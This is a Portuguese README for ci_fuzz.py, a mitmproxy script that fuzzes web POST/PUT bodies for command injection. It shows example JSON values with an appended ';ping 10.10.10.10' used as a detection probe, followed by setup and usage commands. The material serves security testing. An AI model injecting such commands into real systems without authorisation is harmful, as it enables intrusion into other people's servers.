
Script de Fuzzer Web de Injeção de Comandos para mitmproxy
Descrição:
Este script realiza fuzzing para vulnerabilidades de Injeção de Comandos que resultam em execução remota de comandos.
Vulnerabilidades OWASP semelhantes são explicadas aqui --> https://www.owasp.org/index.php/Command_Injection
O script tentará executar comandos do SO injetando em cada valor no corpo de um POST/PUT.
A detecção da execução requer outra ferramenta, como ouvir tráfego web/icmp ou observar um diretório no SO alvo, etc.
Por exemplo, se o script observar que um usuário realizou um único POST com corpo definido como {"webfunction": "settime", "hour": "10", "minute": "00"}
O script gerará 5 POSTs
1)O POST original (como está)
{"webfunction": "settime", "hour": "10", "minute": "00"}
2)Injeção de CI no 1º valor
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
3)Injeção de CI no 2º valor
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
4)Injeção de CI no 3º valor
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5)Um POST de limpeza para retornar as variáveis ao valor original
{"webfunction": "settime", "hour": "10", "minute": "00"}
Se a carga fosse executada, o atacante receberia um pacote icmp de ping. Neste exemplo, a aplicação web é vulnerável à injeção/execução de comandos via definição da hora do sistema.
Pré-requisitos:
-mitmproxy 3.0.0+
#Método "Virtualenv" para executar mitmproxy 3.0.0+ (ex: sua distribuição não suporta binários 3.0.0+)
git clone https://github.com/mitmproxy/mitmproxy.git
#Siga a "Configuração de desenvolvimento" aqui -> https://github.com/mitmproxy/mitmproxy (semelhante ao abaixo)
apt-get install python3-venv
cd mitmproxy
./dev.sh #Se erro de cabeçalho python.h faltando - tente apt-get install python3-dev
#Confirme a versão do mitmproxy 3.0.0+
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
Instalação:
#Baixe o ci_fuzz.py
git clone https://github.com/mvdevnull/ci_fuzz.git
Exemplos de Uso:
*Defina variáveis na seção de configuração do ci_fuzz.py
1)*Execute mitmweb usando o script ci_fuzz.py ouvindo na porta 7777 do localhost
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2)*Execute mitmweb usando o script ci_fuzz.py igual ao anterior e encaminhe upstream para um proxy GUI como Burp no localhost
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py